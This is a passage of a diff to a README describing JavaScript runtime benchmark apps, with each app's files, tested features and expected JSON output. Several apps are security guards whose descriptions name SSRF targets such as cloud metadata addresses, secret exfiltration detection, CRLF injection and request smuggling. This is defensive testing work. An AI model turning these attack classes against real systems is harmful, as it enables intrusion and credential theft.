[`src/asset_manifest.ts`](./apps/11-static-asset-cdn-edge/src/asset_manifest.ts), [`src/cdn_server.ts`](./apps/11-static-asset-cdn-edge/src/cdn_server.ts), [`src/index.ts`](./apps/11-static-asset-cdn-edge/src/index.ts). - **What it tests:** Static web asset indexing (`.html`, `.css`, `.js`, `.svg`, `.json`), directory index aliases (`/` -> `/index.html`, `/docs/` -> `/docs/index.html`), SHA-256 `ETag` conditional `If-None-Match` (`304 Not Modified`), `HEAD` vs `GET` negotiation, `Cache-Control` TTL calculation via `ms`, and bandwidth-saved formatting via `bytes` across 80 requests. - **Identical Output Across All 4 Runtimes:** @@ -103,7 +103,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"11-static-asset-cdn-edge","libraries":["bytes@3.1.2","ms@2.1.3"],"totalRequests":80,"hit200Count":41,"notModified304Count":24,"head200Count":7,"notFound404Count":8,"totalBytesServed":4857,"formattedBandwidthSaved":"2.97KB","manifestDigest":"84d4b4108f88f928"} ``` -### 12. [`apps/12-ai-sse-token-streamer/`](./apps/12-ai-sse-token-streamer/src/index.ts) — AI Agent SSE Token Streamer & Outbound Egress DLP (`mitt@3.0.1`, `ms@2.1.3` + `ReadableStream`) +### 12. [`apps/12-ai-sse-token-streamer/`](./apps/12-ai-sse-token-streamer/src/index.ts) - AI Agent SSE Token Streamer & Outbound Egress DLP (`mitt@3.0.1`, `ms@2.1.3` + `ReadableStream`) - **Structure:** [`package.json`](./apps/12-ai-sse-token-streamer/package.json), [`src/types.ts`](./apps/12-ai-sse-token-streamer/src/types.ts), [`src/sse_codec.ts`](./apps/12-ai-sse-token-streamer/src/sse_codec.ts), [`src/agent_streamer.ts`](./apps/12-ai-sse-token-streamer/src/agent_streamer.ts), [`src/index.ts`](./apps/12-ai-sse-token-streamer/src/index.ts). - **What it tests:** WHATWG Server-Sent Events (`id:`, `event:`, `retry:`, `data:`) token streaming over standard `ReadableStream` (`getReader().read()`), `mitt` pub/sub event bus, and real-time Egress DLP secret redaction (raw + Base64) across 40 AI completion streams (`320` SSE frames). - **Identical Output Across All 4 Runtimes:** @@ -111,23 +111,23 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"12-ai-sse-token-streamer","libraries":["mitt@3.0.1","ms@2.1.3"],"streamsCompleted":40,"totalFramesEmitted":320,"totalTokensStreamed":230,"dlpRedactionsTriggered":10,"totalSseBytes":23410,"heartbeatIntervalMs":15000,"streamAuditHash":"9e53ed87fbc54b01"} ``` -### 13. [`apps/13-webhook-orchestrator-ssrf/`](./apps/13-webhook-orchestrator-ssrf/src/index.ts) — Outbound `fetch()` Webhook Orchestrator & Cloud Metadata SSRF Firewall (`fast-querystring@1.1.2`, `ms@2.1.3` + Live TCP `fetch`) -- **Structure:** [`package.json`](./apps/13-webhook-orchestrator-ssrf/package.json), [`slice.toml`](./apps/13-webhook-orchestrator-ssrf/slice.toml), [`src/types.ts`](./apps/13-webhook-orchestrator-ssrf/src/types.ts), [`src/ssrf_guard.ts`](./apps/13-webhook-orchestrator-ssrf/src/ssrf_guard.ts), [`src/webhook_dispatcher.ts`](./apps/13-webhook-orchestrator-ssrf/src/webhook_dispatcher.ts), [`src/index.ts`](./apps/13-webhook-orchestrator-ssrf/src/index.ts). +### 13. [`apps/13-webhook-orchestrator-ssrf/`](./apps/13-webhook-orchestrator-ssrf/src/index.ts) - Outbound `fetch()` Webhook Orchestrator & Cloud Metadata SSRF Firewall (`fast-querystring@1.1.2`, `ms@2.1.3` + Live TCP `fetch`) +- **Structure:** [`package.json`](./apps/13-webhook-orchestrator-ssrf/package.json), [`slice.toml`](./apps/13-webhook-orchestrator-ssrf/slice.toml), [`src/types.ts`](./apps/13-webhook-orchestrator-ssrf/src/types.ts), [`src/ssrf_guard.ts`](./apps/13-webhook-orchestrator-ssrf/src/ssrf_guard.ts), [`src/dispatcher.ts`](./apps/13-webhook-orchestrator-ssrf/src/dispatcher.ts), [`src/index.ts`](./apps/13-webhook-orchestrator-ssrf/src/index.ts). - **What it tests:** Outbound `await fetch(url, { method: "POST", headers, body })` against a live upstream HTTP microservice (`127.0.0.1:18095/upstream/webhook`), `fast-querystring` canonicalization, `ms` retry backoff calculation, `node:crypto` HMAC-SHA256 webhook signature generation, and SSRF defense across 40 webhook jobs (blocking AWS/GCP/Alibaba cloud metadata endpoints, unapproved RFC1918 private CIDRs, and untrusted external domains while delivering 10 live HTTP webhooks). - **Identical Output Across All 4 Runtimes:** ```json {"app":"13-webhook-orchestrator-ssrf","libraries":["fast-querystring@1.1.2","ms@2.1.3"],"totalJobsProcessed":40,"liveHttpDeliveries":10,"ssrfMetadataBlocked":10,"privateCidrBlocked":10,"untrustedDomainBlocked":10,"retryBackoffMs":80000,"auditSignaturePrefix":"db472120dedc36d5"} ``` -### 14. [`apps/14-federated-api-mesh-dlp/`](./apps/14-federated-api-mesh-dlp/src/index.ts) — Federated Subgraph API Mesh & Outbound Egress DLP Firewall (`bytes@3.1.2`, `dlv@1.1.3`, `dset@3.1.3` + Live TCP `fetch`) -- **Structure:** [`package.json`](./apps/14-federated-api-mesh-dlp/package.json), [`slice.toml`](./apps/14-federated-api-mesh-dlp/slice.toml), [`src/types.ts`](./apps/14-federated-api-mesh-dlp/src/types.ts), [`src/dlp_firewall.ts`](./apps/14-federated-api-mesh-dlp/src/dlp_firewall.ts), [`src/mesh_federator.ts`](./apps/14-federated-api-mesh-dlp/src/mesh_federator.ts), [`src/index.ts`](./apps/14-federated-api-mesh-dlp/src/index.ts). +### 14. [`apps/14-federated-api-mesh-dlp/`](./apps/14-federated-api-mesh-dlp/src/index.ts) - Federated Subgraph API Mesh & Outbound Egress DLP Firewall (`bytes@3.1.2`, `dlv@1.1.3`, `dset@3.1.3` + Live TCP `fetch`) +- **Structure:** [`package.json`](./apps/14-federated-api-mesh-dlp/package.json), [`slice.toml`](./apps/14-federated-api-mesh-dlp/slice.toml), [`src/types.ts`](./apps/14-federated-api-mesh-dlp/src/types.ts), [`src/dlp_firewall.ts`](./apps/14-federated-api-mesh-dlp/src/dlp_firewall.ts), [`src/mesh_aggregator.ts`](./apps/14-federated-api-mesh-dlp/src/mesh_aggregator.ts), [`src/index.ts`](./apps/14-federated-api-mesh-dlp/src/index.ts). - **What it tests:** Outbound `await fetch("http://127.0.0.1:18095/upstream/subgraph/account?...")` subgraph fan-out across 25 federated queries, deep object extraction/stitching with `dlv` and `dset`, payload formatting via `bytes`, and Outbound Egress DLP inspection (catching raw, Base64, and Base64URL secret exfiltration in URLs, headers, and bodies). - **Identical Output Across All 4 Runtimes:** ```json {"app":"14-federated-api-mesh-dlp","libraries":["bytes@3.1.2","dlv@1.1.3","dset@3.1.3"],"queriesExecuted":25,"subgraphFetchesCompleted":25,"dlpExfiltrationsBlocked":5,"cleanAuditForwards":20,"totalAggregatedBytes":"3.2KB","meshStateHash":"973215696f65c8cd"} ``` -### 15. [`apps/15-time-travel-test-suite/`](./apps/15-time-travel-test-suite/src/index.ts) — Time-Travel VFS + KV Rollback Verification Suite (`semver@7.6.3`, `ms@2.1.3`, `dlv@1.1.3`, `dset@3.1.3` + `slice test`) +### 15. [`apps/15-time-travel-test-suite/`](./apps/15-time-travel-test-suite/src/index.ts) - Time-Travel VFS + KV Rollback Verification Suite (`semver@7.6.3`, `ms@2.1.3`, `dlv@1.1.3`, `dset@3.1.3` + `slice test`) - **Structure:** [`package.json`](./apps/15-time-travel-test-suite/package.json), [`slice.toml`](./apps/15-time-travel-test-suite/slice.toml), [`src/types.ts`](./apps/15-time-travel-test-suite/src/types.ts), [`src/state_machine.ts`](./apps/15-time-travel-test-suite/src/state_machine.ts), [`src/time_travel_harness.ts`](./apps/15-time-travel-test-suite/src/time_travel_harness.ts), [`src/index.ts`](./apps/15-time-travel-test-suite/src/index.ts), [`tests/state_machine.test.ts`](./apps/15-time-travel-test-suite/tests/state_machine.test.ts). - **What it tests:** Executes 24 state-mutating specifications across 4 suites (`semver.satisfies`, `ms`, `dlv`, `dset`, `node:fs` VFS mutations, and `Slice.kv` balance/version mutations), taking a `< 5 us` `Slice.checkpoint()` before each spec and restoring it via `Slice.restore(snapId)` in `finally` to verify 24/24 zero-leakage VFS and KV state rollbacks. Also includes a native [`tests/state_machine.test.ts`](./apps/15-time-travel-test-suite/tests/state_machine.test.ts) verified via `slice test`. - **Identical Output Across All 4 Runtimes:** @@ -135,7 +135,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"15-time-travel-test-suite","libraries":["dlv@1.1.3","dset@3.1.3","ms@2.1.3","semver@7.6.3"],"suitesExecuted":4,"specsExecuted":24,"specsPassed":24,"vfsRollbacksVerified":24,"kvRollbacksVerified":24,"totalRetentionMs":29462400000,"suiteAuditHash":"c624c2019b5c44fd"} ``` -### 16. [`apps/16-dotenv-dlp-config-vault/`](./apps/16-dotenv-dlp-config-vault/src/index.ts) — Zero-Trust `.env` Config Vault & Auto-DLP Secret Exfiltration Auditor (`ini@4.1.3`, `cookie@0.6.0`, `bytes@3.1.2`) +### 16. [`apps/16-dotenv-dlp-config-vault/`](./apps/16-dotenv-dlp-config-vault/src/index.ts) - Zero-Trust `.env` Config Vault & Auto-DLP Secret Exfiltration Auditor (`ini@4.1.3`, `cookie@0.6.0`, `bytes@3.1.2`) - **Structure:** [`package.json`](./apps/16-dotenv-dlp-config-vault/package.json), [`slice.toml`](./apps/16-dotenv-dlp-config-vault/slice.toml), [`src/types.ts`](./apps/16-dotenv-dlp-config-vault/src/types.ts), [`src/dotenv_vault.ts`](./apps/16-dotenv-dlp-config-vault/src/dotenv_vault.ts), [`src/auto_dlp_auditor.ts`](./apps/16-dotenv-dlp-config-vault/src/auto_dlp_auditor.ts), [`src/index.ts`](./apps/16-dotenv-dlp-config-vault/src/index.ts). - **What it tests:** Parses `.env` configuration files (`KEY=VALUE`, `export KEY="VALUE"`, inline comments) alongside `ini` cluster limits, `bytes` payload budgets, and `cookie.serialize` headers, automatically classifying sensitive keys (`STRIPE_SECRET_KEY`, `OPENAI_API_TOKEN`, `DB_MASTER_PASSWORD`, `SIGNING_PRIVATE_KEY`) vs public keys (`PUBLIC_KEY_ID`, `PUBLISHABLE_KEY_WEB`) and auditing 50 outbound telemetry payloads against raw, Base64, and Base64URL secret exfiltration, signed with `node:crypto` HMAC-SHA256. - **Identical Output Across All 4 Runtimes:** @@ -143,7 +143,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"16-dotenv-dlp-config-vault","libraries":["bytes@3.1.2","cookie@0.6.0","ini@4.1.3"],"dotenvEntriesLoaded":8,"publicKeysAllowed":4,"autoDlpSecretsRegistered":4,"payloadsAudited":50,"cleanPayloadsApproved":40,"plaintextLeaksBlocked":5,"base64LeaksBlocked":5,"totalApprovedCookieBytes":"9.55KB","vaultHmacSignature":"c19618e409a21e7a"} ``` -### 17. [`apps/17-zero-trust-redirect-keepalive-mesh/`](./apps/17-zero-trust-redirect-keepalive-mesh/src/index.ts) — Zero-Trust Hop-by-Hop Redirect Guard, Keep-Alive Connection Pooling & DNS-Rebinding SSRF Firewall (`bytes@3.1.2`, `cookie@0.6.0`, `fast-querystring@1.1.2`, `ms@2.1.3`) +### 17. [`apps/17-zero-trust-redirect-keepalive-mesh/`](./apps/17-zero-trust-redirect-keepalive-mesh/src/index.ts) - Zero-Trust Hop-by-Hop Redirect Guard, Keep-Alive Connection Pooling & DNS-Rebinding SSRF Firewall (`bytes@3.1.2`, `cookie@0.6.0`, `fast-querystring@1.1.2`, `ms@2.1.3`) - **Structure:** [`package.json`](./apps/17-zero-trust-redirect-keepalive-mesh/package.json), [`slice.toml`](./apps/17-zero-trust-redirect-keepalive-mesh/slice.toml), [`src/types.ts`](./apps/17-zero-trust-redirect-keepalive-mesh/src/types.ts), [`src/redirect_security_guard.ts`](./apps/17-zero-trust-redirect-keepalive-mesh/src/redirect_security_guard.ts), [`src/keepalive_mesh_client.ts`](./apps/17-zero-trust-redirect-keepalive-mesh/src/keepalive_mesh_client.ts), [`src/index.ts`](./apps/17-zero-trust-redirect-keepalive-mesh/src/index.ts). - **What it tests:** Executes 30 zero-trust API mesh tasks against a live HTTP/1.1 Keep-Alive upstream server (`127.0.0.1:18095`), exercising thread-local Keep-Alive connection reuse (`OUTBOUND_CONN_POOL`), `307 Temporary Redirect` hop-by-hop following (`res.redirected === true`, `res.url` tracking), `302 Found` manual redirect inspection (`redirect: "manual"`), cross-origin `Authorization` / `Cookie` stripping, Cloud Metadata (`169.254.169.254`, `fd00:ec2::254`) & DNS-rebinding private IP (`100.64.0.15`) redirect blocking, and Outbound Egress DLP, signed with `node:crypto` HMAC-SHA256. - **Identical Output Across All 4 Runtimes:** @@ -151,7 +151,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"17-zero-trust-redirect-keepalive-mesh","libraries":["bytes@3.1.2","cookie@0.6.0","fast-querystring@1.1.2","ms@2.1.3"],"tasksProcessed":30,"keepAliveSubgraphHits":5,"redirectFollow307Completed":5,"redirectManual302Inspected":5,"ssrfRedirectMetadataBlocked":5,"dnsRebindPrivateIpBlocked":5,"dlpExfiltrationBlocked":5,"crossOriginAuthStrippedCount":15,"totalTimeoutBudgetMs":50000,"formattedPayloadVolume":"860B","meshAuditHmac":"90f5a8253a5d07de"} ``` -### 18. [`apps/18-async-event-loop-fanout-scheduler/`](./apps/18-async-event-loop-fanout-scheduler/src/index.ts) — Deterministic Time-Travel Event Loop, Timer Wheel, Microtask Queue, `AbortSignal`, & Concurrent `Promise.all` Fetch Fan-Out (`bytes@3.1.2`, `flatted@3.3.1`, `mitt@3.0.1`, `ms@2.1.3`) +### 18. [`apps/18-async-event-loop-fanout-scheduler/`](./apps/18-async-event-loop-fanout-scheduler/src/index.ts) - Deterministic Time-Travel Event Loop, Timer Wheel, Microtask Queue, `AbortSignal`, & Concurrent `Promise.all` Fetch Fan-Out (`bytes@3.1.2`, `flatted@3.3.1`, `mitt@3.0.1`, `ms@2.1.3`) - **Structure:** [`package.json`](./apps/18-async-event-loop-fanout-scheduler/package.json), [`slice.toml`](./apps/18-async-event-loop-fanout-scheduler/slice.toml), [`src/types.ts`](./apps/18-async-event-loop-fanout-scheduler/src/types.ts), [`src/timer_retry_scheduler.ts`](./apps/18-async-event-loop-fanout-scheduler/src/timer_retry_scheduler.ts), [`src/concurrent_fanout_client.ts`](./apps/18-async-event-loop-fanout-scheduler/src/concurrent_fanout_client.ts), [`src/index.ts`](./apps/18-async-event-loop-fanout-scheduler/src/index.ts). - **What it tests:** Verifies deterministic microtask/macrotask priority ordering (`Promise.then`, `queueMicrotask`, `setTimeout` with extra arguments, `clearTimeout`, `setInterval`, `clearInterval`), exponential backoff retry scheduling with `ms`, 5 rounds of 5-shard concurrent `Promise.all([fetch(...), ...])` fan-out with `flatted` + `bytes` + `mitt` event bus, `AbortController` / `AbortSignal` task cancellation, and sandbox timer-bomb containment (`MAX_ACTIVE_TIMERS`), signed with `node:crypto` HMAC-SHA256. - **Identical Output Across All 4 Runtimes:** @@ -159,7 +159,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"18-async-event-loop-fanout-scheduler","libraries":["bytes@3.1.2","flatted@3.3.1","mitt@3.0.1","ms@2.1.3"],"scheduleOrder":"promise-micro-1>queue-micro-1>timer-stage-a:p1>micro-inside-timer>heartbeat:1>heartbeat:2>heartbeat:3","intervalTicks":3,"cancelledTimerFired":false,"totalRetryBackoffMs":50,"totalShardsExecuted":25,"totalRecordsProcessed":1250,"totalAbortedTasks":5,"totalRetryAttempts":30,"busEventsDispatched":5,"timerBombContained":true,"formattedWireVolume":"1.92KB","auditDigest":"0b76cd366dc934f2"} ``` -### 19. [`apps/19-wintertc-webcrypto-streams-edge/`](./apps/19-wintertc-webcrypto-streams-edge/src/index.ts) — WinterTC Minimum Common Web Platform API: WebCrypto (`crypto.subtle` HMAC/SHA/JWK), `TextEncoder`/`TextDecoder`, WhatWG Streams (`TransformStream`/`TextEncoderStream`), `EventTarget`, `AbortSignal.any`, `Blob`/`File`/`FormData`, & `structuredClone` (`bytes@3.1.2`, `cookie@1.0.2`, `flatted@3.3.1`, `ms@2.1.3`) +### 19. [`apps/19-wintertc-webcrypto-streams-edge/`](./apps/19-wintertc-webcrypto-streams-edge/src/index.ts) - WinterTC Minimum Common Web Platform API: WebCrypto (`crypto.subtle` HMAC/SHA/JWK), `TextEncoder`/`TextDecoder`, WhatWG Streams (`TransformStream`/`TextEncoderStream`), `EventTarget`, `AbortSignal.any`, `Blob`/`File`/`FormData`, & `structuredClone` (`bytes@3.1.2`, `cookie@1.0.2`, `flatted@3.3.1`, `ms@2.1.3`) - **Structure:** [`package.json`](./apps/19-wintertc-webcrypto-streams-edge/package.json), [`slice.toml`](./apps/19-wintertc-webcrypto-streams-edge/slice.toml), [`src/types.ts`](./apps/19-wintertc-webcrypto-streams-edge/src/types.ts), [`src/webcrypto_jwt_verifier.ts`](./apps/19-wintertc-webcrypto-streams-edge/src/webcrypto_jwt_verifier.ts), [`src/streams_and_formdata_pipeline.ts`](./apps/19-wintertc-webcrypto-streams-edge/src/streams_and_formdata_pipeline.ts), [`src/index.ts`](./apps/19-wintertc-webcrypto-streams-edge/src/index.ts). - **What it tests:** Executes a full WinterTC Edge Gateway & Webhook Verification pipeline using `crypto.subtle` (`importKey`, `exportKey` JWK, `sign`, `verify` HS256 & HS512, `digest` SHA-256 & SHA-512), `TextEncoder` (`encode`, `encodeInto` with multi-byte UTF-8 boundary truncation) & `TextDecoder` (`fatal: true`), `btoa`/`atob`, `EventTarget` (`{ once: true, signal }`), `CustomEvent`, `AbortSignal.any`, `Blob` (`.slice()`, `.text()`), `File`, `FormData`, cyclic `structuredClone` (`Map`, `Set`, `Uint8Array`), and a 5-stage WhatWG Stream pipeline (`ReadableStream` -> `TransformStream` -> `TextEncoderStream` -> `TransformStream` -> `TextDecoderStream` -> `WritableStream`). - **Identical Output Across All 4 Runtimes:** @@ -167,7 +167,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"app":"19-wintertc-webcrypto-streams-edge","libraries":["bytes@3.1.2","cookie@1.0.2","flatted@3.3.1","ms@2.1.3"],"hs256TokenValid":true,"hs256TamperedRejected":true,"hs512WebhookValid":true,"jwkAlg":"HS256","encodeIntoRead":8,"encodeIntoWritten":10,"transformedPayload":"ROUTE:API |AUTH:JWT |STREAM:OK::EOF","totalTransformedBytes":37,"formFieldsCount":3,"uploadedFileName":"bundle-manifest.bin","uploadedFileSize":38,"slicedHeaderText":"SLICE-EDGE","cyclicCloneVerified":true,"dispatchedEvents":["once:init","live:init","live:transform"],"anySignalAbortedBy":"secondary-deadline-exceeded","formattedWireVolume":"75B","auditDigest":"7319225b3dc10146"} ``` -### 20. [`apps/20-node-compat-and-edge-router/`](./apps/20-node-compat-and-edge-router/src/index.ts) — Real `Uint8Array`-Backed `Buffer` Wire Framing, `node:*` Core Tier-1 (`node:events`, `node:path`, `node:crypto`, `node:assert`, `node:util`), & Oxc AST Bundler (`bytes@3.1.2`, `cookie@1.0.2`, `ms@2.1.3`, `semver@7.6.3`) +### 20. [`apps/20-node-compat-and-edge-router/`](./apps/20-node-compat-and-edge-router/src/index.ts) - Real `Uint8Array`-Backed `Buffer` Wire Framing, `node:*` Core Tier-1 (`node:events`, `node:path`, `node:crypto`, `node:assert`, `node:util`), & Oxc AST Bundler (`bytes@3.1.2`, `cookie@1.0.2`, `ms@2.1.3`, `semver@7.6.3`) - **Structure:** [`package.json`](./apps/20-node-compat-and-edge-router/package.json), [`slice.toml`](./apps/20-node-compat-and-edge-router/slice.toml), [`src/types.ts`](./apps/20-node-compat-and-edge-router/src/types.ts), [`src/binary_wire_codec.ts`](./apps/20-node-compat-and-edge-router/src/binary_wire_codec.ts), [`src/router_and_events_bus.ts`](./apps/20-node-compat-and-edge-router/src/router_and_events_bus.ts), [`src/index.ts`](./apps/20-node-compat-and-edge-router/src/index.ts). - **What it tests:** Binary wire protocol framing (`writeUInt32BE`, `writeUInt16BE`, `writeBigUInt64BE`, `readUInt32BE`, `readUInt16BE`, `readBigUInt64BE`, `Buffer.concat`, `.subarray()`, `.equals()`), streaming multi-chunk `node:crypto` `createHash("sha512")` & `createHmac("sha256")` returning `Buffer`, `node:events` `EventEmitter` (`prependListener`, `on`, `once`, `emit`), `node:path` POSIX normalization/relative/parse/format, `node:util` (`format`, `promisify`, `types`), `node:assert`, and Oxc AST multi-file ESM-to-CJS bundling. - **Identical Output Across All 4 Runtimes:** @@ -175,23 +175,23 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"suite":"20-node-compat-and-edge-router","wireFrame":{"magicHex":"534c4334","version":4,"flags":258,"sequenceId":"9007199254740993","payloadUtf8":"{\"rpc\":\"edge.dispatch\",\"region\":\"iad-01\",\"currency\":\"€\"}","payloadBase64Url":"eyJycGMiOiJlZGdlLmRpc3BhdGNoIiwicmVnaW9uIjoiaWFkLTAxIiwiY3VycmVuY3kiOiLigqwifQ","sha512DigestPrefix":"06c23b3b4132558f8dd7b430","hmacSha256Hex":"fda684d490d2bd86c7023653983dab877506c69edf9bb254675a7305e9d91c6c","isValidBufferInstance":true},"routeSummary":{"normalizedRoute":"/api/v2/ tenants/dispatch/invoke","relativeAssetPath":"edge/assets/bundles/client.v4.mjs","parsedBase":"client.v4.mjs","sessionTenant":"acme-fintech-eu","ttlMs":900000,"maxBodyBytes":65536,"engineSemverSatisfied":true,"formattedAuditLine":"tenant=acme-fintech-eu route=/api/v2/ tenants/dispatch/invoke status=200 asset=client.v4.mjs","eventSequence":["prepend:/api/v2/ tenants/dispatch/invoke","on:/api/v2/ tenants/dispatch/invoke","auth-once:acme-fintech-eu","done:200"]}} ``` -### 21. [`apps/21-websocket-realtime-and-security-guard/`](./apps/21-websocket-realtime-and-security-guard/src/index.ts) — RFC 6455 `WebSocket` Client, 5-Ring Security Firewall & Extended Node Core (`node:url`, `node:querystring`, `node:string_decoder`, `node:timers`, `node:zlib`) -- **Structure:** [`package.json`](./apps/21-websocket-realtime-and-security-guard/package.json), [`slice.toml`](./apps/21-websocket-realtime-and-security-guard/slice.toml), [`src/types.ts`](./apps/21-websocket-realtime-and-security-guard/src/types.ts), [`src/ws_security_firewall.ts`](./apps/21-websocket-realtime-and-security-guard/src/ws_security_firewall.ts), [`src/ws_realtime_session.ts`](./apps/21-websocket-realtime-and-security-guard/src/ws_realtime_session.ts), [`src/index.ts`](./apps/21-websocket-realtime-and-security-guard/src/index.ts). -- **What it tests:** Live RFC 6455 `WebSocket` handshake, subprotocol negotiation (`slice.realtime.v1`), text/JSON/binary `ArrayBuffer` frame exchanges, `close(1000)` handshake, 5-Ring WebSocket Security Firewall (CSWSH Origin guard, SSRF private IP/metadata block, Egress DLP raw + Base64 redaction, frame/connection quota guard, and `node:zlib` zip-bomb ratio enforcement), plus `node:string_decoder`, `node:querystring`, `node:url`, and `node:timers/promises`. +### 21. [`apps/21-websocket-realtime-and-security-guard/`](./apps/21-websocket-realtime-and-security-guard/src/index.ts) - RFC 6455 `WebSocket` Client, HTTP Smuggling / CRLF / Non-Canonical SSRF Auditor & WS Frame DLP Guard (`bytes@3.1.2`, `cookie@1.0.2`, `fast-querystring@1.1.2`, `ms@2.1.3`) +- **Structure:** [`package.json`](./apps/21-websocket-realtime-and-security-guard/package.json), [`slice.toml`](./apps/21-websocket-realtime-and-security-guard/slice.toml), [`src/types.ts`](./apps/21-websocket-realtime-and-security-guard/src/types.ts), [`src/network_security_auditor.ts`](./apps/21-websocket-realtime-and-security-guard/src/network_security_auditor.ts), [`src/realtime_ws_client.ts`](./apps/21-websocket-realtime-and-security-guard/src/realtime_ws_client.ts), [`src/index.ts`](./apps/21-websocket-realtime-and-security-guard/src/index.ts). +- **What it tests:** Live RFC 6455 `WebSocket` handshake (`/upstream/ws`), masked text and binary XOR frame round-trips, clean `close(1000, "audit-complete")` handshake, concurrent HTTP subgraph fetch, and 14-case Network & WebSocket Security Audit (CL.TE and duplicate `Content-Length` HTTP request smuggling, CRLF header injection, chunked body overflow, non-canonical IPv4/IPv6 SSRF representations, and WebSocket frame Egress DLP). - **Identical Output Across All 4 Runtimes:** ```json - {"suite":"21-websocket-realtime-and-security-guard","auditSummary":{"totalCasesEvaluated":11,"ring1OriginBlocked":2,"ring2SsrfBlocked":3,"ring3DlpBlocked":2,"ring4QuotaBlocked":2,"ring5DecompressionBombBlocked":1,"cleanFramesAllowed":1,"gzipRoundtripVerified":true,"auditDigest":"fd708b824a057e7a"},"sessionSummary":{"subprotocolNegotiated":"slice.realtime.v1","textFramesSent":3,"textFramesReceived":3,"binaryBytesEchoed":16,"utf8MultiByteDecoded":"Slice-Edge-€-🚀-Realtime","canonicalQuery":"channel=alpha&cursor=100&mode=realtime&tenant=acme-eu","closeCode":1000,"closeClean":true,"sessionTranscriptDigest":"6e74636db07fd3f8"}} + {"suite":"21-websocket-realtime-and-security-guard","auditSummary":{"totalCasesEvaluated":14,"smugglingClTeBlocked":1,"smugglingDupClBlocked":1,"crlfHeaderInjectionBlocked":2,"chunkedOverflowBlocked":2,"ssrfNonCanonicalIpBlocked":4,"wsFrameDlpBlocked":2,"cleanRequestsAllowed":2,"maxHeaderBudgetBytes":65536,"maxInboundBodyBudgetBytes":4194304,"maxWsFrameBudgetBytes":4194304,"auditTrailDigest":"85de31109bd3918142bcf47d1561acc7"},"wsSummary":{"handshakePath":"/upstream/ws","rfc6455AcceptVerified":true,"maskedFrameRoundtripVerified":true,"textFramesSent":4,"textAcksReceived":4,"binaryFramesSent":2,"binaryXorBytesVerified":14,"closeCode":1000,"closeReason":"audit-complete","upstreamSubgraphStatus":200,"upstreamAccountTier":"enterprise","sessionTranscriptDigest":"4b83c4f300269774642ac7316925946e"}} ``` -### 22. [`apps/22-worker-threads-and-raw-sockets/`](./apps/22-worker-threads-and-raw-sockets/src/index.ts) — Multi-Isolate `Worker` / `node:worker_threads`, `MessageChannel`, Raw TCP/UDP Sockets (`node:net`, `node:dgram`), & 5-Ring Socket/Worker Security Firewall -- **Structure:** [`package.json`](./apps/22-worker-threads-and-raw-sockets/package.json), [`slice.toml`](./apps/22-worker-threads-and-raw-sockets/slice.toml), [`src/types.ts`](./apps/22-worker-threads-and-raw-sockets/src/types.ts), [`src/socket_and_worker_firewall.ts`](./apps/22-worker-threads-and-raw-sockets/src/socket_and_worker_firewall.ts), [`src/worker_and_socket_orchestrator.ts`](./apps/22-worker-threads-and-raw-sockets/src/worker_and_socket_orchestrator.ts), [`src/index.ts`](./apps/22-worker-threads-and-raw-sockets/src/index.ts). +### 22. [`apps/22-worker-threads-and-raw-sockets/`](./apps/22-worker-threads-and-raw-sockets/src/index.ts) - Multi-Isolate `Worker` / `node:worker_threads`, `MessageChannel`, Raw TCP/UDP Sockets (`node:net`, `node:dgram`), & 5-Ring Socket/Worker Security Firewall +- **Structure:** [`package.json`](./apps/22-worker-threads-and-raw-sockets/package.json), [`slice.toml`](./apps/22-worker-threads-and-raw-sockets/slice.toml), [`src/types.ts`](./apps/22-worker-threads-and-raw-sockets/src/types.ts), [`src/worker_socket_security_auditor.ts`](./apps/22-worker-threads-and-raw-sockets/src/worker_socket_security_auditor.ts), [`src/worker_and_socket_engine.ts`](./apps/22-worker-threads-and-raw-sockets/src/worker_and_socket_engine.ts), [`src/index.ts`](./apps/22-worker-threads-and-raw-sockets/src/index.ts). - **What it tests:** Spawns 3 isolated `node:worker_threads` workers with `workerData` and `postMessage`, synchronous `MessageChannel` / `MessagePort` IPC, live `node:net` TCP client-server command multiplexing (`PING`, `PUT`, `STATUS`, `QUIT`), live `node:dgram` UDP datagram telemetry + ACK verification, `URL.canParse`, and 5-Ring Socket & Worker Security Firewall (privileged port `< 1024` block, Cloud Metadata & RFC1918 SSRF block, outbound socket Egress DLP block, concurrency/byte budget guard, and child worker OCap escalation prevention). - **Identical Output Across All 4 Runtimes:** ```json {"suite":"22-worker-threads-and-raw-sockets","auditSummary":{"totalCasesEvaluated":12,"ring1PrivilegedPortBlocked":2,"ring2SsrfIpBlocked":4,"ring3EgressDlpBlocked":2,"ring4BudgetOverflowBlocked":1,"ring5WorkerEscalationBlocked":1,"cleanOperationsAllowed":2,"urlCanParseVerified":true,"auditDigest":"2723413bc42cf3c6"},"sessionSummary":{"workersSpawned":3,"workerTasksCompleted":3,"totalRecordsProcessed":18,"combinedWeightedSum":3475,"combinedXorChecksum":37,"messageChannelSyncVerified":true,"tcpCommandsSent":4,"tcpRepliesVerified":4,"tcpStatusValue":"active-wave-c","udpDatagramsSent":1,"udpAckBytesReceived":30,"udpAckVerified":true,"sessionDigest":"68aebc6ff5256024"}} ``` -### 23. [`apps/23-wasm-crypto-and-simd-kernel/`](./apps/23-wasm-crypto-and-simd-kernel/src/index.ts) — Pure-Rust `WebAssembly` (`wasmi`) Compute Kernel, Shared Linear Memory, Host Import Callbacks & 5-Ring WASM Security Firewall (`bytes@3.1.2`) +### 23. [`apps/23-wasm-crypto-and-simd-kernel/`](./apps/23-wasm-crypto-and-simd-kernel/src/index.ts) - Pure-Rust `WebAssembly` (`wasmi`) Compute Kernel, Shared Linear Memory, Host Import Callbacks & 5-Ring WASM Security Firewall (`bytes@3.1.2`) - **Structure:** [`package.json`](./apps/23-wasm-crypto-and-simd-kernel/package.json), [`slice.toml`](./apps/23-wasm-crypto-and-simd-kernel/slice.toml), [`src/types.ts`](./apps/23-wasm-crypto-and-simd-kernel/src/types.ts), [`src/wasm_kernels.ts`](./apps/23-wasm-crypto-and-simd-kernel/src/wasm_kernels.ts), 